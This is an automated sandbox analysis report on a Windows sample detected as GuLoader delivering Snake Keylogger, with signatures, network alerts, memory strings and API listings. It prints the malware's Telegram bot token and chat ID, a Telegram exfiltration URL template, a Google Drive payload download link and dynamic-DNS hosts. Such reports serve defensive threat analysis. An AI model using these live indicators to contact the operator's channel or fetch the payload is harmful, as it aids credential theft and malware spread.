Edit tour

Windows Analysis Report
rFa24c148.exe

Overview

General Information

Sample name:	rFa24c148.exe
Analysis ID:	1543495
MD5:	7644ebbf786053ffaf95dbe86b7de5d4
SHA1:	5d563fb10f6d71049ae5f69fb6ccb9f2217ddf32
SHA256:	0b7ba80811d300aefe42de77b7b8fb2d5b6f9a8d4f2cf3d1213b6fead5efb59b
Tags:	exeuser-Porcupine
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

rFa24c148.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\rFa24c148.exe" MD5: 7644EBBF786053FFAF95DBE86B7DE5D4)

rFa24c148.exe (PID: 7732 cmdline: "C:\Users\user\Desktop\rFa24c148.exe" MD5: 7644EBBF786053FFAF95DBE86B7DE5D4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "8148338634:AAFvLNrhxaF7bMPzQMLbUnueRMJvDIi5kcU", "Chat_id": "7698865320", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2061274960.00000000052E5000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: rFa24c148.exe PID: 7732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rFa24c148.exe PID: 7732	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:02:50.234028+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	188.114.96.3	443	TCP
2024-10-28T02:02:53.524437+0100	2803305	3	Unknown Traffic	192.168.2.4	49744	188.114.96.3	443	TCP
2024-10-28T02:02:55.203844+0100	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.96.3	443	TCP
2024-10-28T02:03:00.071669+0100	2803305	3	Unknown Traffic	192.168.2.4	49769	188.114.96.3	443	TCP
2024-10-28T02:03:01.696824+0100	2803305	3	Unknown Traffic	192.168.2.4	49781	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:02:48.017603+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	193.122.6.168	80	TCP
2024-10-28T02:02:49.517616+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	193.122.6.168	80	TCP
2024-10-28T02:02:51.174212+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	193.122.6.168	80	TCP
2024-10-28T02:02:52.814456+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49743	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:02:41.620398+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	172.217.18.110	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 28 Oct 2024 01:03:02 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: rFa24c148.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20a
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: rFa24c148.exe, 00000004.00000002.2993781136.00000000335FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: rFa24c148.exe, 00000004.00000002.2971357954.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: rFa24c148.exe, 00000004.00000002.2971357954.0000000002DF2000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2971653916.00000000048B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6
Source: rFa24c148.exe, 00000004.00000002.2971357954.0000000002DF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6dk
Source: rFa24c148.exe, 00000004.00000003.2145457011.0000000002E62000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2145385443.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2971357954.0000000002E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2145457011.0000000002E62000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2145385443.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2971357954.0000000002E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download
Source: rFa24c148.exe, 00000004.00000003.2145385443.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=downloadW
Source: rFa24c148.exe, 00000004.00000003.2145385443.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=downloade
Source: rFa24c148.exe, 00000004.00000002.2971357954.0000000002E0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=downloado
Source: rFa24c148.exe, 00000004.00000002.2993781136.000000003348E000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.00000000334FE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: rFa24c148.exe, 00000004.00000002.2993781136.000000003348E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.188
Source: rFa24c148.exe, 00000004.00000002.2993781136.00000000334FE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.00000000334B8000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2993781136.0000000033525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.188$
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003470D000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347E2000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034569000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034590000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003451B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: rFa24c148.exe, 00000004.00000002.2994718005.0000000034521000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003469A000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003456B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000344F6000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347BE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033547000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003470D000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347E2000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034569000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.0000000034590000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003451B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: rFa24c148.exe, 00000004.00000002.2994718005.0000000034521000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003469A000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.000000003456B000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000344F6000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000347BE000.00000004.00000800.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000002.2994718005.00000000346C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: rFa24c148.exe, 00000004.00000003.2103239778.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, rFa24c148.exe, 00000004.00000003.2103452898.0000000002E26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: rFa24c148.exe, 00000004.00000002.2993781136.0000000033632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: rFa24c148.exe, 00000004.00000002.2993781136.000000003362D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.217.18.110:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.225:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49787 version: TLS 1.2

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_00405160 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405160

Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 0_2_004031FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,ExitProcess,		0_2_004031FF
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_004031FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,ExitProcess,		4_2_004031FF

Source: C:\Users\user\Desktop\rFa24c148.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 0_2_004063CC	0_2_004063CC
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 0_2_0040499D	0_2_0040499D
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_004063CC	4_2_004063CC
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0040499D	4_2_0040499D
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016A088	4_2_0016A088
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016C147	4_2_0016C147
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016D278	4_2_0016D278
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_00165362	4_2_00165362
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016C468	4_2_0016C468
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_00166498	4_2_00166498
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016D548	4_2_0016D548
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_001676F1	4_2_001676F1
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016C738	4_2_0016C738
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016E988	4_2_0016E988
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016CA08	4_2_0016CA08
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016CCD8	4_2_0016CCD8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016CFAA	4_2_0016CFAA
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_00166FC8	4_2_00166FC8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016B0B8	4_2_0016B0B8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016F974	4_2_0016F974
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_0016E97A	4_2_0016E97A
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_00163E09	4_2_00163E09
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36551E80	4_2_36551E80
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36559328	4_2_36559328
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36558BA0	4_2_36558BA0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_365517A0	4_2_365517A0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655FC68	4_2_3655FC68
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36555028	4_2_36555028
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36552968	4_2_36552968
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655E258	4_2_3655E258
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655E24A	4_2_3655E24A
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36551E70	4_2_36551E70
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655DE00	4_2_3655DE00
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655EAF8	4_2_3655EAF8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655E6B0	4_2_3655E6B0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655E6A0	4_2_3655E6A0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655E6AF	4_2_3655E6AF
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655EF60	4_2_3655EF60
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655EB08	4_2_3655EB08
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36550B30	4_2_36550B30
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36550B20	4_2_36550B20
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36558B91	4_2_36558B91
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655178F	4_2_3655178F
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655F3B8	4_2_3655F3B8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36550040	4_2_36550040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655F810	4_2_3655F810
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36559C18	4_2_36559C18
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36555018	4_2_36555018
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36550006	4_2_36550006
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655F802	4_2_3655F802
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655003F	4_2_3655003F
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655D0F8	4_2_3655D0F8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655CCA0	4_2_3655CCA0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655D550	4_2_3655D550
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655295B	4_2_3655295B
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655D540	4_2_3655D540
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36559548	4_2_36559548
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655DDF1	4_2_3655DDF1
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655DDFF	4_2_3655DDFF
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655D999	4_2_3655D999
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655D9A7	4_2_3655D9A7
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3655D9A8	4_2_3655D9A8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36746E70	4_2_36746E70
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36747B78	4_2_36747B78
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367481D0	4_2_367481D0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36748FB0	4_2_36748FB0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36746E72	4_2_36746E72
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36744A78	4_2_36744A78
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3674CE78	4_2_3674CE78
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3674CE67	4_2_3674CE67
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36743460	4_2_36743460
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3674EE68	4_2_3674EE68
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36744A68	4_2_36744A68
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3674EE57	4_2_3674EE57
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36741A50	4_2_36741A50
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36743450	4_2_36743450
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3674345F	4_2_3674345F
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36740040	4_2_36740040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36741A41	4_2_36741A41
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36746030	4_2_36746030
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_3674BC38	4_2_3674BC38
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36744620	4_2_36744620
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36746022	4_2_36746022
